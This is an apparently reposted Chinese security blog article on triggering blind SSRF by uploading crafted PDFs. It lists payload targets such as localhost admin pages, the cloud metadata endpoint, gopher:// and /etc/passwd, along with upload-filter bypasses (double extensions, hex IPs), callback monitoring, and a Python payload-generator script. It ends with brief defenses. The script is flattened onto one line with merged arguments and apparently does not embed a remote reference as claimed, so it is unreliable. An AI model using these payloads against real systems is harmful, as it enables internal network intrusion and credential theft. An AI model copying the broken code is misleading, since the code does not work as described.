利用 PDF 文件实现盲 SSRF

admin 2025年4月9日23:36:21评论10 views字数 2600阅读8分40秒阅读模式

在现代 Web 应用中,文件上传功能十分常见,而攻击者常利用这一点实施 SSRF 攻击。接下来将详细介绍如何利用 PDF 文件的特性来触发盲 SSRF,从而绕过安全检测,实现内网探测或更深层次的利用。

一、为何选择 PDF 文件?

  1. 白名单优势
    在很多系统中,PDF 文件因其广泛应用和可信度,往往被默认允许上传。攻击者正是利用这点,将恶意代码隐藏在 PDF 中,绕过常规文件类型检查。

  2. 后端解析的漏洞
    后端处理 PDF 文件时,通常会对其中嵌入的外部对象(如图片、链接、RichMedia 对象或嵌入的 JavaScript)进行解析或渲染。若这些外部对象包含恶意 URL,当 PDF 被处理时,后端服务器就会以其身份发起外部请求,从而实现 SSRF 攻击。

二、攻击流程详解

  1. 工具及 payload 的准备
    攻击者可以利用类似于“malicious-pdf.py”的工具,这个工具能够将恶意的 SSRF payload 注入 PDF 文件。它会生成如 test1.pdf、test2.pdf 和 test3.pdf 等文件,并为每个文件配置不同的请求向量。payload 可能包括指向内部地址(如 http://127.0.0.1/admin)、云平台元数据接口(http://169.254.169.254/latest/meta-data/)、甚至针对特定协议(如 gopher://)的特殊调用。

  2. 上传触发点
    一旦工具准备好恶意 PDF,接下来便是利用目标系统提供的文件上传接口。例如,通过上传功能将 PDF 文件作为头像文件上传。如果后端自动对上传文件进行解析或转换(比如生成预览或进行病毒扫描),嵌入在 PDF 中的恶意 payload 就会被激活。

  3. 监控与确认
    攻击成功后的关键在于监控后端的回调。攻击者通常使用 Burp Collaborator、Interactsh 或自建 DNS 日志服务器来捕捉内网的回调信息。一般来说,当监控系统收到类似 DNS pingback 或 HTTP 请求时,就证明后端已经通过 PDF 文件触发了 SSRF,从而获得了来自内网的响应。

  4. 高级 payload 与绕过技巧
    为了提升攻击成功率,建议使用多种 payload 变体:

    • 请求内网管理界面或敏感数据接口(例如 /etc/passwd);

    • 使用双重扩展名(如 avatar.pdf.png)迷惑上传过滤器;

    • 采用混淆 IP 表示(比如使用 0x7f000001 表示 127.0.0.1);

    • 利用流式 payload 实现更深层次的绕过。

三、Python 脚本示例:

为了便于生成 payload,提供了一个 Python 脚本示例。脚本主要功能包括:

  • 利用 fpdf 库生成 PDF 文件;

  • 随机生成 payload URL,确保每个文件独一无二;

  • 将生成好的文件保存至指定目录。

#!/usr/bin/env python3import osimport sysfrom fpdf import FPDFimport randomimport stringdef random_string(length=6):    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))def create_pdf(payload_url, output_dir, index):    pdf = FPDF()    pdf.add_page()    pdf.set_font("Arial", size=12)    pdf.cell(20010, txt="Malicious PDF Payload Trigger", ln=True)    # 将 payload URL 作为图片引用嵌入 PDF 中    pdf.image(payload_url, x=10, y=20, w=100)    filename = f"{output_dir}/payload_{index}_{random_string()}.pdf"    pdf.output(filename)    print(f"[+] PDF created: {filename}")def generate_payloads(base_url, count=5, output_dir="output_pdfs"):    if not os.path.exists(output_dir):        os.makedirs(output_dir)    print(f"[+] Generating {count} payloads targeting {base_url}")    for i in range(count):        unique_url = f"{base_url}/{random_string(8)}.jpg"        create_pdf(unique_url, output_dir, i)if __name__ == "__main__":    if len(sys.argv) < 2:        print("Usage: python3 enhanced-malicious-pdf.py <base_url> [count]")        sys.exit(1)    base_url = sys.argv[1]    count = int(sys.argv[2]) if len(sys.argv) > 2 else 5    generate_payloads(base_url, count)

该脚本展示了如何根据给定的 base_url 生成带有独特 payload 的 PDF 文件,便于在大量环境中测试 SSRF 漏洞。[、]

利用 PDF 文件实现盲 SSRF

四、应用场景与防御建议

应用场景:

  • 云环境 SSRF 攻击: 通过触发 AWS 元数据接口,窃取内部凭证。

  • 内网管理界面探测: 发现并利用内网管理系统。

  • 服务指纹识别: 分析内网不同服务的响应,获取版本信息及其他敏感数据。

  • 链式攻击: 结合 SSRF 与其他漏洞,如 Redis RCE。

防御建议:

  • 严格限制上传文件类型和内容,不仅基于文件扩展名,更需检查实际文件的 MIME 类型和内容特征;

  • 在解析和转换文件时,采用沙箱隔离措施,防止后端直接发起网络请求;

  • 对后端发起的所有请求实施严格审计和白名单控制,防止内部资源被非法访问。

参考:

https://x.com/TheMsterDoctor1/status/1909830826998874227

原文始发于微信公众号(Secu的矛与盾):利用 PDF 文件实现盲 SSRF

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月9日23:36:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 PDF 文件实现盲 SSRFhttp://cn-sec.com/archives/3936187.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息